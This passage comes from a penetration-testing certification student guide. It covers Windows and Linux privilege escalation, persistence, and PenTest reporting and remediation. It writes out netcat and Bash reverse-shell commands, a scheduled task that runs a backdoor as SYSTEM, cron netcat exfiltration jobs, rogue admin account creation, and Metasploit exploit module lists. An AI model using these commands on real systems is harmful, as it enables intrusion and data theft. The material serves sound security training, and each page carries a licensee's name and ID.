Account Control (UAC) policy setting that disallows other local administrators from
running privileged tasks across the network.
If you want to pass the hash of another local admin, you could disable the
restriction by navigating the Registry to HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows\CurrentVersion\Policies\System, and then creating a DWORD
entry of LocalAccountTokenFilterPolicy with a value of 1.
For information about disabling Windows Defender Credential Guard, see https://docs.
microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-
guard-manage.
Escalating Privilege
As part of our process of moving through the system, we might face a major
challenge—you do not have access to the resources you need.
Here is where privilege escalation comes in. Sometimes abbreviated simply as
PrivEsc, there are two important ways in which this is performed that need to be
taken into consideration.
Vertical Privilege Escalation is to obtain access to an account of higher privileges
than the one you currently have, in order to enable administrative resources that
the regular user does not have permission for. In many cases you will need vertical
PrivEsc for certain persistence techniques that will be covered later.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 373
Depending on what you are looking for, and the security implementations in place,
there may be cases in which it is better not to immediately target administrator
accounts.
Horizontal Privilege Escalation is obtaining access to a regular user account of
different privilege than the one currently in use, to enable private resources you
otherwise do not have permission for.
Vulnerability/
Description Exploit/Tool
Technique
Credential attacks Targeting logins and/or Mimikatz (can also allow users
dump cleartext or hashed to view and save Kerberos
passwords from different authentication credentials)
sources. Attacks may include responder.py Metasploit
hash cracking, password Meterpreter (See also Topic
spraying, pass the hash, pass “Test Credentials”.)
the ticket, etc.
User application Compromise applications Metasploit modules:
compromise such as SharePoint, Cisco exploit/windows/http/
AnyConnect, browsers, or PDF sharepoint_unsafe_control
viewers to gain access to a exploit/windows/local/
workstation and/or escalate anyconnect_lpe
privileges. These attacks may exploit/windows/fileformat/
require a victim to open a file nitro_reader_jsapi
or web page through social exploit/windows/fileformat/
engineering. adobe_pdf_embedded_exe
Local UAC bypass Bypass local UAC. Example: UACMe: https://github.com/
use process injection to hfiref0x/UACME
leverage a trusted publisher
Metasploit modules:
certificate.
post/windows/gather/win_
privs
exploit/windows/local/
bypassuac Meterpreter
getsystem
Weak process Find processes with weak Metasploit modules:
permissions controls and see if you can post/multi/recon/local_exploit_
inject malicious code into suggester
those processes. post/multi/manage/
shell_to_meterpreter
Meterpreter migrate and
getsystemcommands:
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
374 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Vulnerability/
Description Exploit/Tool
Technique
Shared folders Search for sensitive smbclient
information in shared folders, smbmap
as it is common for them to Metasploit module:
have few or no restrictions. auxiliary/scanner/smb/smb_
enumshares
DLL hijacking Elevate privileges by https://itm4n.github.io/
exploiting weak folder windows-dll-hijacking-clarified/
permissions, unquoted
Metasploit module:
service paths, or applications
exploit/windows/local/trusted_
that run from network shares.
service_path
Replace legitimate DLLs with
malicious ones
Writable services Edit the startup parameters AccessChk.exe
of a service, including Metasploit module:
its executable path and exploit/windows/local/service_
account. You could also use permissions
unquoted service paths to
inject a malicious app that
the service will run as it
starts up
Missing Search for missing patches or BeRoot Project https://github.
patches and common misconfigurations com/AlessandroZ/BeRoot
misconfigurations that can lead to privilege
WES-NG https://github.com/
escalation.
bitsadmin/wesng
For more information on bypassing UAC for privilege escalation, see https://www.
greyhathacker.net/?p=796
To search Metasploit for local exploits that escalate privilege, at the msf console,
enter search exploit/windows/local -S Escalation.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 375
Vulnerability/
Description Exploit
Technique
/etc/passwd, /etc/ Obtain a copy of these files to Metasploit module:
shadow crack root or privileged user post/linux/gather/hashdump
passwords.
John the Ripper and other
password crackers. (See
previous discussion, “Password
Cracking in Linux.”)
Weak process Find processes with weak Metasploit modules:
permissions controls and see if you can post/multi/recon/local_exploit_
inject malicious code into suggester
those processes. post/multi/manage/shell_to_
meterpreter
Meterpreter migrate and
getsystem commands
User application Compromise end user Metasploit modules:
compromise applications and plug-ins exploit/multi/vnc/vnc_
such as OpenOffice, VNC, and keyboard_exec
Adobe Flash Player. Some auxiliary/fileformat/odt_
require social engineering to badodt
get the end user to open a file exploit/multi/misc/openoffice_
or browser page. document_macro
exploit/multi/browser/adobe_
flash_hacking_team_uaf
exploit/multi/browser/adobe_
flash_nellymoser_bof
SetUID binaries Locate applications you can At a terminal, enter:
run as root. sudo find / -perm
-04000
Services running Locate services that are owned Find out who you
as root by (running as) root and see if are: whoami
you can compromise them. List all processes owned by
you: ps -x
Locate processes owned
by root: ps -fU root
List all processes and their
owners: ps -ef
Shared folders Search for sensitive Metasploit module:
information in Samba shared auxiliary/scanner/smb/smb_
folders, as it is common enumshares
for them to have few or no
enum4linux
restrictions.
Kernel and Find exploits that target the nmap -sV
service exploits kernel and privileged services.
(Kali) Linux Exploit Suggester
Metasploit module:
post/multi/recon/local_exploit_
suggester
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
376 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Vulnerability/
Description Exploit
Technique
Meterpreter If you have a Bash shell from Metasploit module:
upgrade Metasploit, try to upgrade post/multi/manage/shell_
it to the more versatile to_meterpreter http://www.
Meterpreter. hackingarticles.in/command-
shell-to-meterpreter/
Netcat upgrade If you have a Netcat shell, https://blog.ropnop.com/
try to upgrade it to a fully upgrading-simple-shells-to-
interactive TTY or Meterpreter. fully-interactive-ttys/
https://www.hackingtutorials.
org/networking/upgrading-
netcat-shells-to-meterpreter/
https://security.stackexchange.
com/questions/161214/
upgrade-a-ncat-bind-shell-to-
meterpreter
Exploit cron jobs Exploit badly configured cron http://www.hackingarticles.in/
jobs to gain root access. linux-privilege-escalation-by-
exploiting-cron-jobs/
Missing Search for missing patches or BeRoot Project:
patches and common misconfigurations https://github.com/
Misconfigurations that can lead to privilege AlessandroZ/BeRoot
escalation.
To search for Metasploit modules that are application specific, at the msf console,
enter search <keyword> platform:linux. For example: search adobe platform:linux.
• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/.
• https://guif.re/linuxeop.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 377
Review Activity:
5
The System
Answer the following questions:
1. Your team wants to ensure that their test encompasses more than just
a narrow selection of resources. They would like to try to gain access to
the initial part of the environment and then spread out their attack to
compromise additional resources. What is this process called?
2. The team has heard about a “pass the hash” attack but is not sure what
it entails. Could you briefly explain it to them?
3. As part of the process of moving through the system, the PenTest team
encounters a major challenge: they do not have access to the resources
they need. What options should their manager recommend that they try?
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16B
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
378 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 16C
Maintain Persistence
4
Creating a Foothold
Persistence is the quality by which a threat continues to exploit a target while
remaining undetected for a significant period of time. Rather than hitting a target
and leaving right after, attackers will look for ways to maintain their foothold in the
organization, long after the main attack phase has concluded.
Some of the goals involved in persistence include:
• Exfiltrating portions of sensitive data over a period of time rather than all at
once. This is a stealthier approach than just overloading the network with the
target data in one “loud” task.
• Exfiltrating sensitive data that changes over time. A customer records database
will probably be continuously updated with information about individuals and
organizations. Rather than capturing the database once at a specific point in
time, the attacker could capture the database multiple times, as it changes.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16C
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 379
As a PenTester, you probably won’t be maintaining your attack efforts for very long,
but it depends on the scope of the test and how willing the organization is to leave
their assets in a state of compromise. What’s more likely, is that you’ll conduct
efforts to prove that persistence is possible and has a high chance of occurring, and
then demonstrate it during the test and/or report on it afterwards.
Bypassing Restrictions
There is not one catch-all method for initiating persistence on a network or system.
Various techniques can help you maintain access or control over your targets.
For example, certain user accounts are more closely monitored or more tightly
access-controlled than others. Creating a new account can help you bypass these
restrictions when you need to authenticate.
On Windows, you can create a new user through the command shell: net user
jsmith /add and on Linux: useradd jsmith. Escalating the account’s privileges can
provide you with even more access.
On Windows, net localgroup Administrators jsmith /add adds the account to the
local Administrators group. On Linux, there are several ways to give root privileges
to a user, including editing the /etc/passwd file and changing the user’s user ID
(UID) and group ID (GID) to 0.
New user creation is just one example of a persistence technique. Remote access
services can also be used for persistence. Other common persistence techniques
include:
• Backdoors and Trojans
• Registry Startup
• Scheduled Tasks
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16C
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
380 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Hardware backdoors also exist, and can be substantially stealthier, and provide greater
levels of access, but they are not commonly used in PenTesting. Most backdoors of this
type are incorporated into hardware during the manufacturing process.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16C
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 381
On the attack machine, you’d use Netcat to connect to this session and obtain the
shell:
nc 192.168.1.50 12345
You can now issue Bash commands to the target machine. This is useful in enabling
persistence, as it can function as a backdoor into the target system. The problem
with bind shells is that many firewalls will filter incoming traffic on ports that
don’t meet the pre-configured allowed list, so you may be unable to establish a
connection.
Likewise, if the target is behind Network Address Translation (NAT) and you’re
connecting from an external network, you may not be able to reach the target
unless the NAT device is forwarding the specific bound port to the target machine.
A reverse shell is established when the target machine communicates with an
attack machine that is listening on a specific port. First, you start the listener on the
attack machine:
nc -lp 12345
Then, on the target machine, you’d start the connection:
nc 192.168.1.10 12345 –e /bin/sh
The attack machine’s listener will accept the incoming connection and open a shell
onto the target system. Reverse shells are typically more effective as backdoors
because they bypass the aforementioned problems with bind shells. The attacker
has more control over their own environment, and is less likely to be obstructed by
port filtering or NAT.
In addition, you can create a reverse shell from the target system using a wide array
of tools other than Netcat, including Bash, PowerShell, Python, Ruby, PHP, Perl,
Telnet, and many more.
For example, if the target system is a Linux machine without Netcat, use Bash to
connect to a listener:
bash -i >& /dev/tcp/192.168.1.10/12345 0>&1
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16C
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
382 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16C
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 383
Scheduling Tasks
A scheduled task or scheduled job is any instance of execution such as the
initiation of a process, or running of a script, that the system performs on a set
schedule. Scheduled tasks are a fundamental component of work automation as
they empower a system to perform the specified task without requiring a user to
start that task. Once the task executes, it can prompt for user interaction or run
silently in the background. It all depends on what the task is set up to do. While
most scheduled tasks are configured to run at certain times, you can also schedule
tasks around certain events, such as a specific user logging in.
Just as scheduled tasks can make a normal user’s or administrator’s job easier, they
can also be a boon to your PenTest campaign. For example, you could manually
execute a Netcat data exfiltration command over and over again to always have
the most up-to-date version of a sensitive file, but this can become tedious, not
to mention noisy. Instead, you could create a scheduled task that silently runs the
exfiltration command in the background every so often, perhaps once a day, to
automate your persistence in the organization while remaining undetected.
Task Scheduler is the utility that governs scheduled tasks in Windows environments.
You can do quite a bit with this utility, including:
• Setting a task’s name and description
• Setting the task’s “triggers,” e.g., the time or events that will cause the task to
start
• Setting the task’s actual action, e.g., running a program, executing a command,
etc.
• Setting special conditions that might influence when the task will run, such as
only running a task if a laptop is connected to AC power
• Configuring additional settings about the task, for example, what to do if the task
fails
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16C
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
384 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Note that the time trigger supports granular values. You can, for instance, run the
task once a year starting on a specific day, or repeat the task every minute for
60 minutes. You can also identify details about a task, like its next run time, its most
recent run time, or the result or exit status of its most recent run. This is made
easier through the Task Scheduler GUI. However, as a PenTester, you will likely need
to rely on scheduling a task from the command line (schtasks).
The following example schedules a task named “backdr” that runs a batch file once
a day for 30 days under the SYSTEM account:
schtasks /create /tn backdr /tr C:\Files\backdoor.
bat /sc DAILY /mo 30 /ru SYSTEM
Scheduled tasks can also leverage application functionality exposed by DCOM, like
scheduling the execution of macros in an Excel file.
Cron Job
Note that you are not required to specify every time value. The asterisk (*) denotes
a wildcard value and the job will run for every instance of this value.
For example, the following line will run a Netcat file exfiltration listener every day at
9:00 A.M.:
0 9 * * * nc -lp 12345 > data.txt
The following example will run the same Netcat command at the top of every hour,
every 15th day of every other month:
0 * 15 */2 * nc -lp 12345 > data.txt
Note that the month value uses a division operator (/) with a wildcard to divide each
of the 12 months into 2.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16C
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 385
Be aware that the jobs you create with crontab -e will run as the current user. You
can also directly edit the system’s /etc/crontab file to run a job as a specific user,
though this is usually not recommended. This file takes a user field before the
command field, such as:
0 9 * * * jsmith nc -lp 12345 > data.txt
Maintaining Persistence
When using persistence techniques, you should follow these guidelines:
• Try to maintain a foothold in the organization to continue your attack after the
main phase has concluded.
• Create new user accounts to bypass access control and account monitoring.
• Use Netcat to exfiltrate files from a target host to your own host.
• Use Netcat to set up a relay from one target host to another for pivoting.
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16C
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
386 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
5
Persistence
Answer the following questions:
1. You know that rather than hitting a target and leaving right after,
attackers will often look for ways to maintain their foothold in the
organization long after the main attack phase has concluded. You need
to make sure your team is aware of this. What is the name of the process
whereby attackers delay leaving an environment but, instead, remain,
possibly undetected?
2. What are some of the techniques your team should look for to discover
where the adversary is attempting to maintain a foothold?
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16C
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 387
3. What are some of the guidelines you could give to your team when they
use persistence techniques?
Lesson 16: Leveraging the Attack: Pivot and Penetrate | Topic 16C
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
388 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Lesson 16
Summary
4
In this Lesson, you learned about online and offline attacks. You also learned about
username/password cracking. You were introduced to multiple tools that will be
useful to you during your PenTests to help you break passwords and gain access.
Next, you learned about moving around within a network. You learned about
escalating your privilege levels and moving laterally. You learned about pivoting to
other hosts, and you learned about tools that can help you achieve these tasks.
Finally, you learned about maintaining persistence after a successful attack. You
learned about backdoors, trojans, bind and reverse shells, along with daemons and
scheduled tasks. Getting in is an important step in PenTesting, but understanding
how you can stay in, undetected, is icing on the cake!
Practice Questions: Additional practice questions are available on the CompTIA Learning
Center.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 17
Communicating During the
PenTesting Process
1
LESSON INTRODUCTION
Once engaged in a PenTesting exercise, it’s critical to keep the lines of
communication open. The team will need to define the communication path,
identify essential contacts, and recognize triggers that will prompt an alert
or communication event. Because of the compliance requirements, many
organizations will need an exact paper trail outlining the results of the PenTest.
To aid in this process, many apps have built-in tools for reporting that will help the
team distill the information as they ready the formal reports.
Lesson Objectives
In this lesson, you will:
• Identify the communication path and list essential stakeholders that include the
primary, technical, and emergency contacts.
• Use built-in tools for reporting in apps such as Dradis and Nessus and then
interpret the results.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
390 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 17A
Define the Communication Path
2
Good communication is essential for the success of the penetration test. Not only
must the PenTest team be able to communicate among themselves and with their
lead, but the team lead must also be able to communicate with the designated
client contact.
Having an escalation path for communications protects PenTesters from having
to make risky or potentially damaging decisions. You also want to make sure that
communications follow a chain of command.
You should ensure that the PenTest team project supervisor has a counterpart on
the client side that they can immediately bring issues to.
You should also agree upon thresholds and protocols for contacting the other side
during a problem, including:
• When and how the client will notify the PenTest team that a test is unacceptably
interfering with operations/system performance.
• When and how the PenTest team will involve the client IT department if an
accident occurs or a system becomes destabilized or unresponsive.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 391
Defining Contacts
The following are the main types of client contacts that you will interact with during
a typical PenTesting event:
Primary Contact
The primary contact is the party responsible for handling the project on the client’s
end. This can usually be a CISO or other party responsible for the major decisions
surrounding the penetration test.
Technical Contact
The technical contact is the party responsible for handling the technology
elements of the activity.
They have a more in-depth knowledge of the technical aspects of the system, the
impact of the activities in the client’s network, and what constraints the penetration
test might face.
Emergency Contact
The emergency contact is the party that can be contacted in case of particularly
urgent matters.
In some cases, it can be the same person as, for example, the technical contact.
Ideally, the emergency contact should be available 24/7 or at least during the hours
that the activity is being performed if done during business hours.
Alternatively, a particular contact is provided to, for example, the organization’s
Technical Support that is available 24 hours but can use people who cycle through
eight hour shifts.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
392 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
The Communication Path
3
3. You have been assigned to lead a PenTesting team. You need to set up
lines of communication. What are some of the categories of contacts you
should establish?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 393
Topic 17B
Communication Triggers
4
As with any type of review, whether internal or for hire, communication between
the testing team and the stakeholders is of paramount importance.
The client may request that these managers each directly receive a copy
of status updates, or they may request that reports are given to only
one representative who will distribute copies internally. Having a clear
communications path will ensure that all relevant parties receive notifications
in a timely manner.
• Critical findings are identified issues that imply a very high risk to the client’s
organization. The team should identify findings that are urgent enough to trigger
special communications. These commonly refer to high-rated vulnerabilities that,
if not addressed as soon as possible, can lead to a major cybersecurity incident.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
394 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
The nature of a PenTest is that it is a fluid process, and the PenTest team must
be able to prioritize findings as they occur. Information that is discovered during
the reconnaissance phase drives the decisions on what exploits to try and,
ultimately, what solutions to propose.
Awareness of the need for contingency planning for the PenTest engagement
itself, enables you to incorporate it into your plans and to reprioritize the goals
of one activity or large sections of the PenTest.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 395
• The scanner is not properly configured; for example, it has been supplied with
an incorrect target or credentials.
As a PenTester, you must be able to identify when results indicate a false lead on
a vulnerability. Doing so will help you avoid wasting time chasing a lead that takes
you to a dead end.
There are several tactics you can employ to identify false positives; one of the most
effective is results validation. Through a validation process, you compare what
you’ve learned about the target environment to individual scan results and identify
whether or not the results are truly applicable and accurate.
For example, your scanner may indicate that a target Windows Server is susceptible
to weaknesses in Server Message Block (SMBv1). However, a past service scan
indicates that the SMB service running on the server is patched and running version
3 - the latest. You might therefore conclude that the scanner is in error.
If you were playing the defensive blue team, you’d have an easier time identifying
false positives because your understanding of the target environment would be
complete.
As a PenTester, there may be gaps in your knowledge, especially if you’re
conducting an unknown environment test. In this case, you’ll need to try your
best with what you have and concede that you won’t necessarily be able to avoid
false positives entirely. You may choose to conduct more reconnaissance on the
target environment if you are intent on avoiding as many false positives as possible.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
396 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Communication Triggers
5
2. What is one way that the situation could be addressed if your team’s
PenTest attempt is discovered?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 397
Topic 17C
Use Built-In Tools for Reporting
4
As you progress through the different phases of your PenTest, you need to keep
notes and summarize your results. This can be a time-consuming and laborious job.
In this topic, you will be introduced to several tools that can help you collate
information for inclusion in your final PenTest report.
• Technical Vulnerabilities
• Scanner Found
• Manually Identified
• Overall Exposure
• Logical Vulnerabilities
• Type of Vuln
• How/Where it is found
• Exposure
• Summary of Results
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
398 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 399
Although Nessus was originally open source, it is now under license by Tenable.
A free version is still available for download from the company.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
400 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
Built-In Tools for Reporting
5
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 401
Lesson 17
Summary
4
In this lesson, you learned about the importance of clearly defining the
communication requirements and expectations during a PenTest. You examined
the need for clarifying and establishing thresholds and protocols with the client.
You learned about creating and adhering to a formal communication path and
defining the different levels of contacts.
You also learned about communication triggers and reasons for communication,
for instance the need to keep the client informed about situations that stand out
from the norm and that may need to be dealt with in a special way, such as finding
evidence of an attack in progress. Additionally, you learned about the importance,
in this type of circumstance, of de-escalating the PenTest until the status quo has
been restored. You also learned about the pitfalls of using automated scans that
return false positive results.
Finally, you learned about the tools that are available to the PenTester to assist in
creating and managing reports.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
Lesson 18
Summarizing Report Components
1
LESSON INTRODUCTION
Once the PenTest is complete, it’s time to report the findings to the stakeholders. It
is important to recognize that each stakeholder will have different needs, and the
report should be built accordingly. In the final report, there are several sections.
The team should include all essential information related to the PenTest within
sections, such as business impact analysis, metrics, and measures, along with
remediation suggestions. In addition, because of regulatory requirements, the
organization will most likely need to maintain the report for a predefined period
of time.
Lesson Objectives
In this lesson, you will:
• Compare the different audience types and recognize the unique needs of each
type when preparing the report.
• Summarize each of the report components and outline the type of information
included for each section.
• Recommend best practice guidelines for preserving reports along with other
PenTest artifacts and records.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
404 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Topic 18A
Identify Report Audience
2
One of the important considerations when you are creating a PenTest report is to
determine the target audience. Different sorts of PenTest engagements will have
different sets of stakeholders from the organization whose information systems are
being tested.
For the purposes of this lesson, let’s consider an organization to be the client.
Consider the following:
• The types of information systems being tested definitely affect the composition
of the target audience. For instance, if a PenTest engagement is limited to
penetrating networks and hosts but does not focus on testing web or other
applications, the client might decide there is no need to include web developers
in the target audience.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 405
it can help a great deal to show the relationship between activities performed and
an industry-standard security framework.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
406 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Review Activity:
3
Report Audience
Answer the following questions:
1. When your team begins creating their final PenTest report, what are
some of the general considerations about the target audience that they
must think about before they start writing?
2. When the target audience of your team’s final PenTest report is C-suite
executives, what is an important consideration?
3. In cases where the PenTest target was a project for which developers
are particularly responsible, they will also be directly involved in
implementing the resolution and mitigation techniques that need to be
addressed. What type of practices would your team recommend that
they adopt?
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 407
Topic 18B
List Report Contents
4
The written report is likely to be read by a variety of audiences. This might include
board members, end users, and technical administrators. They all need to be able
to read and understand the information you provide. So you need to target your
reports to account for these differences.
A common way of achieving this is through organizing the report into appropriate
subdivisions. There might be an executive section for those who only need a
high-level understanding of the results and their impact. There might be technical
section with links to more specialized information that IT personnel can use to
implement your recommendations.
You can also create an appendix, providing essential information in the report and
separate files with all details. Essentially, you want to normalize data in the report to
make it as clear to the target audience as possible, all while minimizing extraneous
information that just contributes to the noise.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
408 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
This section should outline the activities performed, usually in a generic manner, and
may mention some additional details, such as what is being targeted on each portion
of the testing, and what tools, techniques, and procedures were used for each.
• What processes, technology, or other assets can be unavailable and still enable
the organization to function and for how long?
• Are there any circumstances that could result in personal harm to anyone dealing
with the organization, be it employees, customers, business partners, or visitors?
Your PenTest report should account for the client’s risk appetite. For example,
you can determine the level of risk a vulnerability poses by using the standard
“Probability x Impact” formula. Then, you can compare the result of this assessment
to the organization’s risk appetite and determine whether or not the risk falls within
the accepted tolerance level.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 409
You can do this in a number of ways, including visually through charts and graphs.
This will help the client organization better understand the impact of a risk than if
you had simply quantified the risk without regard to the client’s appetite.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
410 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
There are established systems that can further enhance risk ratings, like the
Common Vulnerability Scoring System (CVSS), as well as different types of
cybersecurity frameworks such as National Institute of Standards and Technology,
Cyber Security Framework (NIST CSF):
Prioritizing Risk
Risk prioritization is the process of adjusting the final rating of vulnerabilities to
the client needs.
Depending on their industry and other factors, you and the client need to work
together to prioritize the results of your testing. Be aware that, in some cases, what
seems to be the most urgent item to you might not be quite as urgent based on the
organization’s need to comply with standards organizations, the existence of older
or specialized hardware, or other factors.
For example, compliance with PCI DSS might be the highest priority for the
organization even if there are other vulnerabilities that are marked as a higher
severity.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 411
Depending on the client’s industry, you may need to consider items such as
Personally Identifiable Information (PII) and Protected Health Information (PHI) in
addition to other factors such as network accessibility, building accessibility, and the
like.
These can all influence how you prioritize the results of the PenTest. Ultimately, it
is important to understand that there is more nuance to results prioritization than
just labeling something as “medium” severity because the CVSS says so.
Suggesting Remediation
Remediation is the possible solution to the issue identified during the penetration
test.
The following table lists some of the findings that are often discovered during
PenTesting and some remediation measures to consider taking. There are often
more remediation measures the client can take to address a particular vulnerability.
You should present as many as you have time to include in your recommendation
to the client. Giving the client options enables them to choose the solution that is
right for them and their organization. One might be cheaper or easier to use but
another might be more comprehensive, reliable, or more certain of mitigation
success.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
412 | The Official CompTIA PenTest+ Student Guide (Exam PT0-002)
Finding Remediations
Shared local administrator credentials Avoid sharing login credentials if at all
possible.
Require users to use their own credentials
for accountability if possible.
If credentials must be shared, randomize
them. This is often accomplished by
having multiple names and passwords
in a database, and then a mechanism
is used to select a different set of login
credentials each time a user logs in. Even
if the credentials are compromised, they
will not be valid for too long because
the next time someone logs into that
system, a new set of credentials will be
rotated into effect, making the one the
attacker stole useless. Randomization of
credentials can also help prevent lateral
access.
Use Local Administrator Password
Solution (LAPS), which is a Microsoft
solution that uses Active Directory (AD)
to store local administrator passwords of
computers that are joined to the domain.
AD access control lists can then be used
to protect the local account passwords
so that only authorized users can read or
reset the local password.
Weak password complexity Configure minimum password
requirements.
• Minimum length of at least eight
characters is standard. (Today
standard bodies are recommending
14 characters or more).
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
The Official CompTIA PenTest+ Student Guide (Exam PT0-002) | 413
Finding Remediations
Plaintext passwords Use protocols that hash or encrypt the
password rather than those that store or
transmit passwords in plaintext.
No multi-factor authentication Implement multi-factor authentication in
applicable systems.
SQL injection, XSS, and other code Sanitize user input in web apps.
injection Use parameterized queries in web apps.
Unnecessary open services Perform system hardening and close any
unneeded ports or services.
Physical intrusion Implement physical controls to detect,
deter, and stop attacks:
• Security cameras
• Security guards
• Motion detectors
Appendix
Any supporting evidence, or attestation of findings, should be attached to the
report. This might include printouts of test results, screenshots of network activity,
and other evidence you obtained during testing.
Additionally, it can include full versions of some of the highlights done in the report
or a reference to a file if provided as attachment.
As an example, the full analysis done on findings can be provided as a spreadsheet
with vulnerabilities, risk rating, and other details, and only the prioritized findings
can be included in the report. This can help offload the report and keep only the
most important information, without the client missing any of the issues identified
during the penetration test.
LICENSED FOR USE ONLY BY: LEBOGANG MBALATI · 24558071 · OCT 12 2023
